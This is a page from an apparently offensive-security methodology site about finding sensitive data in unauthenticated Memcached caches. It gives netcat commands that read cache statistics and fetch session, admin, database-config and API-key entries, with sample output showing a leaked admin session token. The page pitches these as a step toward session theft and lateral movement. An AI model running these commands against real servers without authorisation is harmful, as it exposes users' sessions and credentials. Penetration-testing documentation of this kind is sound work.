# Memcached Sensitive Data in Cache

- **URL:** https://hackindex.io/services/memcached/vulnerability-discovery/memcached-sensitive-data-in-cache
- **Path:** Memcached > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/memcached/vulnerability-discovery.md)
- **Published:** 2026-03-17
- **Updated:** 2026-03-17

Memcached stores application data in plaintext with no encryption at rest. Web applications commonly cache database query results, serialized session objects, API responses, and authentication tokens. When the cache is reachable without authentication, all of that data is readable by any client. This page covers confirming that sensitive data is present and categorising what is exposed before moving into extraction.

This assumes unauthenticated access is already confirmed. If not, start with the unauthenticated access page first.

## Check Current Item Count

Before dumping keys, check whether the cache holds anything worth pursuing:

```bash
echo -e "stats\r" | nc -q2 $TARGET_IP 11211
# STAT curr_items 486
# STAT total_items 31204
# STAT bytes 4821930
```

`curr_items` tells you how many keys are live right now. `bytes` gives the total cache size. A large byte count with a modest key count suggests large payloads per key, which often means serialized session objects or full query result sets.

## Sample Keys Across Slabs

Memcached organises keys into slabs by item size. To find sensitive data, you need to sample keys from each active slab. Start by listing which slabs have data:

```bash
echo -e "stats slabs\r" | nc -q2 $TARGET_IP 11211
# STAT 1:chunk_size 96
# STAT 1:used_chunks 14
# STAT 2:chunk_size 120
# STAT 2:used_chunks 203
# STAT 7:chunk_size 512
# STAT 7:used_chunks 41
```

For each slab with `used_chunks` above zero, dump a sample of keys:

```bash
echo -e "get sess:a3f9c1\r" | nc -q2 $TARGET_IP 11211
# VALUE sess:a3f9c1 0 412
# a:4:{s:2:"id";i:1042;s:5:"email";s:19:"admin@target.local";s:4:"role";s:5:"admin";s:5:"token";s:32:"d8f3a91bc204e57f8a2d013c9e4b7a1d";}
# END
```

PHP serialized session objects like this expose user identity, role, and session token in a single read. Other common payload formats include JSON blobs, JWT tokens, and raw credential strings.

## Spot memcached sensitive data exposure patterns

Key naming conventions vary by application framework but follow predictable patterns. These are worth targeting directly:

```bash
echo -e "get admin:session\r" | nc -q2 $TARGET_IP 11211
echo -e "get config:database\r" | nc -q2 $TARGET_IP 11211
echo -e "get api:key\r" | nc -q2 $TARGET_IP 11211
```

If the application uses a prefix-based key scheme, querying likely prefixes is faster than dumping all slabs. Key hits on `config`, `db`, `credentials`, or `secret` prefixes typically yield the most impactful data.

## Identify Serialized Credential Payloads

Database credentials cached as part of application configuration are common in misconfigured deployments. A value that starts with `a:` or `O:` is PHP serialized. Values starting with `{` are JSON. Both formats frequently embed usernames and passwords in plaintext.

If a value appears base64-encoded, decode it locally:

```bash
echo "BASE64STRING" | base64 -d
```

## Document the Finding

Record the following for the report:

- Which key names are present and their naming patterns
- What data types are exposed (sessions, credentials, config)
- Whether any values contain plaintext credentials or tokens
- The total number of items and cache size

Sensitive data confirmed in cache feeds directly into session token extraction and lateral movement via recovered credentials.

## References

- [Memcached: Protocol Commands](https://github.com/memcached/memcached/wiki/Commands) - stats cachedump and get command reference